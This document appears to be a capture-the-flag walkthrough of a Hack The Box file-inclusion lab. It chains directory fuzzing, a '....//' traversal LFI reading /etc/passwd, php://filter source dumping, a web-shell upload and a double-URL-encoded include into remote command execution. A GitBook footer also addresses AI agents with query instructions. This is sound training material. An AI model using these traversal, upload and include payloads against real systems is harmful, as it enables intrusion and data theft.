> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-inclusion.md).
# File Inclusion
## Skills Assessment Walkthrough
> **HTB Module:** File Inclusion **Difficulty:** Hard **Goal:** Find LFI vulnerability β chain with file upload β achieve RCE β capture the flag **Target:** Sumace Consulting GmbH website
>
> 
***
### π Scenario
We've been contracted by **Sumace Consulting GmbH** to pentest their main website. During the kickoff meeting, the CISO mentioned that last year's pentest had zero findings, but they added a **job application form** since then. That's our point of interest.
### πΊοΈ Attack Chain
```
Recon β ffuf directory/file/parameter fuzzing
β LFI in /api/image.php?p= (....// bypass)
β PHP filter wrapper β dump source code of all pages
β Understand: image.php (file_get_contents), contact.php (include), application.php (upload)
β Chain: Upload shell.php via apply.php β md5 filename
β Double URL-encode path β Include via contact.php?region=
β RCE as www-data β cat /flag π΄
```
***
***
## Step 1 β Recon: The Sumace Website
Browse to the target. It's a corporate IT consulting site with 3 pages: **Home**, **Contact**, and **Apply**.
> 
***
## Step 2 β Fuzzing: Directories & PHP Files
Use **ffuf** to enumerate directories, PHP files, and parameters.
#### Directory fuzzing:
```bash
ffuf -ic -u http://154.57.164.82:31637/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -fs 3405
```
Found: `/api`, `/css`, `/images`, `/uploads`
#### PHP file fuzzing:
```bash
ffuf -ic -u http://154.57.164.82:31637/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e .php -fs 3405
```
Found: `apply.php`, `contact.php`, `thanks.php`
> 
***
## Step 3 β Fuzzing: API Files & Parameters
#### API PHP files:
```bash
ffuf -ic -u http://154.57.164.82:31637/api/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e .php -fs 3405
```
Found: `application.php`, `image.php`
#### Parameter fuzzing on each PHP file:
```bash
# contact.php
ffuf -ic -u http://154.57.164.82:31637/contact.php?FUZZ=test -w burp-parameter-names.txt
# β Found: region
# thanks.php
ffuf -ic -u http://154.57.164.82:31637/thanks.php?FUZZ=test -w burp-parameter-names.txt -fs 1086
# β Found: n
# api/image.php
ffuf -ic -u http://154.57.164.82:31637/api/image.php?FUZZ=... -w burp-parameter-names.txt -fw 1
# β Found: p
```
**Parameters discovered:**
* `/contact.php?region=`
* `/thanks.php?n=`
* `/api/image.php?p=`
> 
> 
***
## Step 4 β LFI Suite: Automated LFI Detection
Use **LFI Suite** (`lfisuite.py`) to automatically test for LFI on the discovered parameters. The tool tests multiple techniques against `/api/image.php?p=`:
```bash
python2 lfisuite.py
# Select: 1) Exploiter
# Select: 9) Auto-Hack
# URL: http://154.57.164.82:31637/api/image.php?p=
# Wordlist: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```
> 
**Result:** 19 generic LFI payloads work! The `....//` traversal technique successfully reads `/etc/passwd`.
> 
***
## Step 5 β Burp: Dumping /etc/passwd
Use the discovered traversal technique in Burp:
```
GET /api/image.php?p=....//....//....//....//....//etc/passwd
```
**Note:** Only `....//` (double-dot-dot-slash) works β the app strips `../` but not recursively, so `....//` becomes `../` after filtering.
> 
***
## Step 6 β PHP Filter Wrapper: Reading Source Code
Use `php://filter/read=convert.base64-encode/resource=` wrapped with the `....//` traversal to read source code of all PHP files:
```
GET /api/image.php?p=php://filter/read=convert.base64-encode/resource=....//....//....//....//....//api/image.php
```
#### Source code revealed:
**`/api/image.php`** β uses `file_get_contents()` (read-only, no code execution):
```php
```
**`/api/application.php`** β file upload, saves with MD5 hash filename:
```php
```
**`/contact.php`** β uses `include()` (code execution!) but filters `.` and `/`:
```php
```
> 
> 
***
## Step 7 β The Chain: Vulnerability Analysis
Now we understand all 3 components:
| File | Function | Capability |
| ---------------------- | ---------------------- | --------------------------------------------- |
| `/api/image.php` | `file_get_contents()` | Read files only (LFI), strips `../` |
| `/api/application.php` | `move_uploaded_file()` | Upload files, saves as `md5_hash.ext` |
| `/contact.php` | `include()` | **Execute PHP code!** But filters `.` and `/` |
**The chain:**
1. **Upload** `shell.php` via the Apply page β saved as `.php` in `/uploads/`
2. **Include** the uploaded shell via `contact.php?region=` β RCE!
3. The `.` and `/` filter in contact.php is bypassed with **double URL encoding** (it checks before `urldecode()`)
***
## Step 8 β Upload the Web Shell
Create a simple PHP web shell:
```php
```
Upload it via the **Apply** page (`/apply.php`) as a "resume":
> 
***
## Step 9 β Get the MD5 Filename
The uploaded file is saved as `md5_hash.php`. We need the MD5 hash of our `shell.php` file to access it:
```bash
md5sum shell.php
# fc023fcacb27a7ad72d605c4e300b389 shell.php
```
So the file is saved at: `/uploads/fc023fcacb27a7ad72d605c4e300b389.php`
> 
***
## Step 10 β Double URL Encode the Path
The `contact.php` checks for `.` and `/` **before** calling `urldecode()`. So we double URL-encode our path to bypass the filter:
Path: `../uploads/fc023fcacb27a7ad72d605c4e300b389`
**First URL encode:**
```
%2E%2E%2Fuploads%2Ffc023fcacb27a7ad72d605c4e300b389
```
**Double URL encode:**
```
%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389
```
Use CyberChef to do this:
> 
**Why this works:**
1. PHP receives `%252E%252E%252F...` β checks for `.` and `/` β NOT found β
2. Then `urldecode()` runs β becomes `%2E%2E%2F...`
3. `include()` interprets β becomes `../uploads/fc023fcacb27a7ad72d605c4e300b389.php`
4. Shell gets included and executed! π₯
***
## Step 11 β RCE as www-data!
Access the shell via:
```
http://154.57.164.82:30439/contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=
```
Test with `cmd=ls /` and `cmd=id`:
```
www-data
```
```
bin boot dev etc flag_file home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
```
We have RCE! π₯ We can see the flag file in `/`.
> 
***
## Step 12 β Cat the Flag!
```
http://154.57.164.82:30439/contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=cat+/flag
```
```
eedbb
```
**Flag captured!** π΄
> 
***
## π Pwned!
Directory fuzzing β parameter fuzzing β LFI with `....//` bypass β PHP filter source code dump β vulnerability chaining (upload + include) β double URL-encode bypass β RCE β flag.
#### The Vulnerability Chain Explained
```
1. /api/image.php?p= β LFI via ....// (str_replace bypass)
Uses file_get_contents() β read only, no exec
2. /api/application.php β File upload, saves as md5_hash.ext
No extension filter β .php allowed!
3. /contact.php?region= β include() with . and / filter
Bypass: double URL-encode (checked BEFORE urldecode)
CHAIN: Upload shell.php (step 2) β Include via contact.php (step 3) β RCE!
```
#### Tools Used
| Tool | Purpose |
| ------------- | --------------------------------------------- |
| `ffuf` | Directory, file, and parameter fuzzing |
| `lfisuite.py` | Automated LFI technique detection |
| Burp Suite | LFI exploitation, PHP filter source code read |
| CyberChef | Double URL encoding for filter bypass |
| Browser | RCE via webshell, flag retrieval |
***
> **GG π΄** β LFI ....// bypass β PHP filter source dump β upload shell β double URL-encode β include() RCE β flag.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-inclusion.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.